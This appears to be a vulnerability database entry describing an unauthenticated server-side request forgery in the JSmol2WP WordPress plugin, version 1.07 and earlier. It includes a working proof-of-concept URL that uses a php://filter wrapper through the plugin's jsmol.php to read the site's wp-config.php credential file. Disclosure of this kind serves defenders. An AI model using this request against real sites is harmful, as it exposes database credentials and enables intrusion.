Lucene search

K
wpexploitRyan DewhurstWPEX-ID:AD01DAD9-12FF-404F-8718-9EBBD67BF611
HistoryDec 25, 2018 - 12:00 a.m.

JSmol2WP <= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)

2018-12-2500:00:00
Ryan Dewhurst
33

The jsmol2wp WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability.

http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Related for WPEX-ID:AD01DAD9-12FF-404F-8718-9EBBD67BF611